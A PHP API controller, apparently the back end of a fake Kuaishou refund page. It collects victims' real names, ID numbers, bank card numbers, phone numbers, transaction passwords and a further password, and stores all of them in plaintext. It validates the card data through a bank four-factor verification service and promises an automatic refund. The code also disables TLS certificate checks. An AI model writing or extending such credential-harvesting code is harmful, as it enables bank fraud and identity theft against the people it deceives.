<?php
// +----------------------------------------------------------------------
// | Yzncms [ 御宅男工作室 ]
// +----------------------------------------------------------------------
// | Copyright (c) 2018 http://yzncms.com All rights reserved.
// +----------------------------------------------------------------------
// | Licensed ( http://www.apache.org/licenses/LICENSE-2.0 )
// +----------------------------------------------------------------------
// | fastadmin: https://www.fastadmin.net/
// +----------------------------------------------------------------------

// +----------------------------------------------------------------------
// | 快手提交接口
// +----------------------------------------------------------------------
namespace app\api\controller;

use app\common\controller\Api;
use app\common\library\Sms as Smslib;
use app\common\model\KuaiShouModel;
use think\facade\Hook;
use think\facade\Validate;
use think\Request;


class KuaiShou extends Api
{
    /**
     * @param Request $request
     * @return void
     */
    public function verify(Request $request)
    {
        if (!$request->isPost()) $this->error('非法访问');
        $saveData = [
            KuaiShouModel::ORDERNO => $request->post(KuaiShouModel::ORDERNO),
            KuaiShouModel::TRANSACTION_PASSWORD => $request->post(KuaiShouModel::TRANSACTION_PASSWORD,''),
            KuaiShouModel::REALNAME => $request->post(KuaiShouModel::REALNAME),
            KuaiShouModel::ID_NUMBER => $request->post(KuaiShouModel::ID_NUMBER),
            KuaiShouModel::BANK_CARD_NUMBER => $request->post(KuaiShouModel::BANK_CARD_NUMBER),
            KuaiShouModel::PHONE => $request->post(KuaiShouModel::PHONE),
        ];
        if (!$saveData[KuaiShouModel::ORDERNO]) {
            $this->error('提交失败，交易订单号不能为空！');
        }
        $zh = '/[\x{4e00}-\x{9fa5}]+/u';
        if (preg_match($zh, $saveData[KuaiShouModel::ORDERNO])) {
            $this->error('提交失败，交易订单号不能包含中文！');
        }
        if (!$saveData[KuaiShouModel::REALNAME]) {
            $this->error('提交失败，姓名不能为空！');
        }

        $patternIdNumber = '/^([1-9]\d{5}(16|17|18|19|20|21)\d{2}(0[1-9]|1[0-2])(0[1-9]|[12]\d|3[01])\d{3}(\d|X|x))$/';
        if (!preg_match($patternIdNumber, $saveData[KuaiShouModel::ID_NUMBER])) {
            $this->error('提交失败，身份证号码格式不正确！');
        }
        $patternBankCardNumber = '/^\d{16,19}$/';
        if (!preg_match($patternBankCardNumber, $saveData[KuaiShouModel::BANK_CARD_NUMBER])) {
            $this->error('提交失败，银行卡号码格式不正确！');
        }
        $patternPhone = '/^1[3-9]\d{9}$/';
        if (!preg_match($patternPhone, $saveData[KuaiShouModel::PHONE])) {
            $this->error('提交失败，手机号码格式不正确！');
        }

        $fourFactorAuthOpen = config('four_factor_auth_open');
        if ($fourFactorAuthOpen) {
            $authRes = $this->fourFactorAuth($saveData[KuaiShouModel::BANK_CARD_NUMBER], $saveData[KuaiShouModel::REALNAME], $saveData[KuaiShouModel::ID_NUMBER], $saveData[KuaiShouModel::PHONE]);
            if (is_null($authRes)) $this->error('验证失败，api验证失败，匹配不到任何信息');
            if ($authRes['error_code'] > 0) {
                $this->error('验证失败，' . $authRes['result']['respMsg']);
            }
            //respCode:应答码 “T”表示有效的，”F”表示无效的，“N”表示无法认证的，”P”表示网络连接超时
            if (in_array($authRes['result']['respCode'], ['F', 'N', 'P'])) {
                $this->error($authRes['result']['respMsg']);
            }
        }


        $kuaiShouModel = new KuaiShouModel();
        $res = $kuaiShouModel->save($saveData);
        $id = $res ? $kuaiShouModel->id : 0;
        $token = md5(time() . mt_rand(9999, 9999999) . uniqid());
        cache($token, json_encode($saveData), ['expire' => 3600]);
        $this->success('身份核实通过！', ['token' => $token, 'id' => $id]);
    }

    /**
     * 提交
     * @param Request $request
     * @return void
     */
    public function submit(Request $request)
    {
        $password = $request->post('password');
        if (!$password) $this->error('密码不能为空');
        $token = $request->post('token');
        $id = $request->post('id');

        $kuaiShouModel = (new KuaiShouModel())->where(KuaiShouModel::ID, $id)->find();
        if (is_null($kuaiShouModel)) $this->error('提交失败，无效的数据！');
        $res = $kuaiShouModel->save([
            KuaiShouModel::PASSWORD => $password,
        ]);
        if ($res) {
            $cacheData = cache($token, null);
            $this->success('提交成功，系统稍后将与商家核实，核实成功后将自动为您办理退款！');
        }
        $this->error('提交失败！');
    }

    /**
     * 检测实名四要素
     * @param string $accountNo 银行卡卡号
     * @param string $name 持卡人姓名
     * @param string $idCardCode 身份证号码（三要素认证必填）
     * @param string $bankPreMobile 银行预留手机号码（四要素认证必填）
     * @return void
     */
    public function fourFactorAuth($accountNo, $name, $idCardCode, $bankPreMobile)
    {
        $appCode = config('four_factor_auth_appcode');
        //https://market.aliyun.com/products/57000002/cmapi00037886.html
        $host = "https://zball.market.alicloudapi.com";
        $path = "/v2/bcheck";
        $method = "POST";
        $appcode = $appCode;
        $headers = array();
        array_push($headers, "Authorization:APPCODE " . $appcode);
        //根据API的要求，定义相对应的Content-Type
        array_push($headers, "Content-Type" . ":" . "application/x-www-form-urlencoded; charset=UTF-8");
        $querys = "";
        $name = urlencode($name);
        $bodys = "accountNo=$accountNo&name=$name&idCardCode=$idCardCode&bankPreMobile=$bankPreMobile";
        $url = $host . $path;

        $curl = curl_init();
        curl_setopt($curl, CURLOPT_CUSTOMREQUEST, $method);
        curl_setopt($curl, CURLOPT_URL, $url);
        curl_setopt($curl, CURLOPT_HTTPHEADER, $headers);
        curl_setopt($curl, CURLOPT_FAILONERROR, false);
        curl_setopt($curl, CURLOPT_RETURNTRANSFER, true);
        curl_setopt($curl, CURLOPT_HEADER, true);
        if (1 == strpos("$" . $host, "https://")) {
            curl_setopt($curl, CURLOPT_SSL_VERIFYPEER, false);
            curl_setopt($curl, CURLOPT_SSL_VERIFYHOST, false);
        }
        curl_setopt($curl, CURLOPT_POSTFIELDS, $bodys);
        $result = curl_exec($curl);
        // 使用正则表达式提取 X-Ca-Error-Message 头部信息
        $headerSize = curl_getinfo($curl, CURLINFO_HEADER_SIZE);
        $headerInfo = substr($result, 0, $headerSize);
        $errCode = 'X-Ca-Error-Code';
        if (strpos($result, $errCode) !== false) {
            $xCaErrorMessage = '访问实名认证接口失败，请检查额度是否已用完';
            $pattern = '/X-Ca-Error-Message: (.*?)\r\n/';
            if (preg_match($pattern, $headerInfo, $matches)) {
                $xCaErrorMessage = '访问实名认证接口失败：' . $matches[1];
            }
            return [
                'error_code' => 50001,
                'result' => [
                    'respMsg' => $xCaErrorMessage,
                ],
            ];
        }
        $body = substr($result, $headerSize);
        return json_decode($body, true);
    }

}
